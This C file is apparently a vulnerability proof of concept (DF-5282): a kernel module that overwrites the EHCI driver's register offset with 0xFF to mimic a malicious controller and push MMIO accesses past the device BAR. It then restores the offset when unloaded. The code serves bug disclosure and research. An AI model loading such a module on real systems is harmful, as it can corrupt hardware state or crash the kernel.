/*
 * DF-5282 PoC — EHCI unvalidated register geometry (sc_offs / sc_noport).
 *
 * Simulates a malicious EHCI controller whose CAPLENGTH register returns
 * 0xFF: ehci_init() at sys/bus/u4b/controller/ehci.c:308 latches that
 * value verbatim into sc->sc_offs with no check against sc->sc_io_size.
 * This module writes the identical value into the already-latched field,
 * which is bit-identical to what ehci_init() would have stored from that
 * register. Everything downstream is the driver's unmodified code
 * (EOREAD4/EOWRITE4 = bus_space_{read,write}_4(io_hdl, sc_offs + reg),
 *  sys/bus/u4b/controller/ehci.h:372-383).
 *
 * Max register reach with the poison: sc_offs(0xFF) + EHCI_PORTSC(15)
 * = 0xFF + 0x44 + 60 = 0x17F bytes past the BAR base. If the device
 * also reports an undersized BAR (< 0x180 — fully device-controlled),
 * every such access is out-of-bounds MMIO.
 */
#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>
#include <sys/conf.h>

/* same include set as ehci.c, so that ehci_softc_t is fully defined */
#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_core.h>
#include <bus/u4b/usb_debug.h>
#include <bus/u4b/usb_busdma.h>
#include <bus/u4b/usb_process.h>
#include <bus/u4b/usb_transfer.h>
#include <bus/u4b/usb_device.h>
#include <bus/u4b/usb_hub.h>
#include <bus/u4b/usb_util.h>
#include <bus/u4b/usb_controller.h>
#include <bus/u4b/usb_bus.h>
#include <bus/u4b/controller/ehci.h>

static uint8_t saved_offs;

static int
ehcipwn_modevent(module_t mod, int type, void *data)
{
	devclass_t dc;
	ehci_softc_t *sc;
	int unit, maxunit;

	switch (type) {
	case MOD_LOAD:
		dc = devclass_find("ehci");
		if (dc == NULL) {
			kprintf("ehcipwn: no ehci devclass (driver loaded?)\n");
			return (ENXIO);
		}
		maxunit = devclass_get_maxunit(dc);
		for (unit = 0; unit <= maxunit; unit++) {
			sc = devclass_get_softc(dc, unit);
			if (sc == NULL || sc->sc_io_res == NULL)
				continue;
			kprintf("ehcipwn: ehci%d softc=%p io_hdl=0x%jx "
			    "io_size=0x%jx offs=0x%02x noport=%u\n",
			    unit, sc,
			    (uintmax_t)sc->sc_io_hdl,
			    (uintmax_t)sc->sc_io_size,
			    sc->sc_offs, sc->sc_noport);
			kprintf("ehcipwn: max poisoned reg offset = 0x%x "
			    "(0xFF + 0x44 + 4*15); BAR covers [0,0x%jx]\n",
			    0xFF + 0x44 + 4 * 15,
			    (uintmax_t)sc->sc_io_size - 1);
			if (sc->sc_io_size <= 0x17F)
				kprintf("ehcipwn: OOB WOULD BE OUTSIDE BAR "
				    "(io_size <= 0x180)!\n");
			else
				kprintf("ehcipwn: NOTE io_size > 0x180 -> "
				    "poisoned accesses stay IN-BAR on this "
				    "guest (no page fault expected)\n");
			saved_offs = sc->sc_offs;
			sc->sc_offs = 0xFF;	/* == CAPLENGTH 0xFF latched */
			kprintf("ehcipwn: ehci%d POISONED: sc_offs 0x%02x "
			    "-> 0xFF (simulated malicious CAPLENGTH)\n",
			    unit, saved_offs);
		}
		return (0);
	case MOD_UNLOAD:
		dc = devclass_find("ehci");
		if (dc != NULL) {
			maxunit = devclass_get_maxunit(dc);
			for (unit = 0; unit <= maxunit; unit++) {
				sc = devclass_get_softc(dc, unit);
				if (sc == NULL || sc->sc_io_res == NULL)
					continue;
				sc->sc_offs = saved_offs;
				kprintf("ehcipwn: ehci%d restored "
				    "sc_offs=0x%02x\n", unit, sc->sc_offs);
			}
		}
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(ehcipwn, ehcipwn_modevent, NULL);
MODULE_VERSION(ehcipwn, 1);
